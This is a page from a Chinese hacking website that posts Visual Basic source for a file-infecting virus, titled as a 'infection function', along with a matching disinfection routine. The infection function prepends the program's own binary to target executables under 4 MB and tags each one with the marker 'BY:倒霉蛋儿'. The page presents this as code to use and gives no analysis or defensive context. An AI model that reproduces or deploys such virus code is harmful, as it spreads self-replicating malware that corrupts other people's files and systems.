| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> 编程 >> VB >> 正文 用户登录 新用户注册
倒霉蛋VB感染函数代码         ★★★ 【字体:
倒霉蛋儿写的VB感染函数代码
作者:不详 文章来源:华盟收集 点击数: 更新时间:2008-9-6

 

 

 

 

 

 

 

 

 

 

 

 

Private Function InfectedFiles(ByVal FilePath As String) As Boolean
Dim MyArray() As Byte
Dim FileArray() As Byte
If FileLen(FilePath) > 4194304 Then Exit Function ’大于4mb不感染

Open MyName For Binary Access Read As #1 ’读取自身文件内容
ReDim MyArray(FileLen(MyName) - 1)
Get #1, , MyArray
Close #1

Open FilePath For Binary Access Read As #1 ’读取要感染的问件内容
ReDim FileArray(FileLen(FilePath) - 1)
Get #1, , FileArray
Close #1

If InStr(FileArray, "BY:倒霉蛋儿") > 0 Then ’判断是否被感染
Exit Function
Else
Open FilePath For Binary Access Write As #1 ’把自身和感染文件与配置信息一起写到一个新文件去
Put #1, , MyArray
Put #1, , FileArray
Put #1, , "BY:倒霉蛋儿" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1
Close #1
InfectedFiles = True
End If
End Function

Private Function KillVirus(ByVal VirusPath As String) As Boolean
Dim infected() As Byte
Dim vbArray() As Byte
Dim SplitArray() As String
Dim SplitINI() As String
On Error Resume Next
If FileLen(VirusPath) > 4194304 Then Exit Function ’大于4mb不感染
Open VirusPath For Binary Access Read As #1 ’读取自身文件内容
ReDim infected(FileLen(VirusPath) - 1)
Get #1, , infected
Close #1
If InStr(StrConv(infected, vbUnicode), "BY:倒霉蛋儿") > 0 Then ’判断是否被感染
SplitArray = Split(StrConv(infected, vbUnicode), "BY:倒霉蛋儿")
SplitINI = Split(SplitArray(UBound(SplitArray)), ",")
ReDim vbArray(SplitINI(1) - 1)
Open VirusPath For Binary As #1
Get #1, SplitINI(0) + 1, vbArray
Close #1
Open VirusPath For Binary As #1
Put #1, , vbArray
Close #1
KillVirus = True
End If
End Function 
责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇编程:

  • 下一篇编程: 没有了
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关编程
    vb建立删除文件夹
    制作VB的P-Code调试器
    VB设计自已Web浏览器
    VB编写脚本漏洞扫描器
    VB6.0实现网络监控系统
    VB6.0实现网络监控系统
    用ViB轻松实现看图软件
    用VB6.0编特洛伊木马
    VB编程基础课
    VB编写脚本漏洞扫描器
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号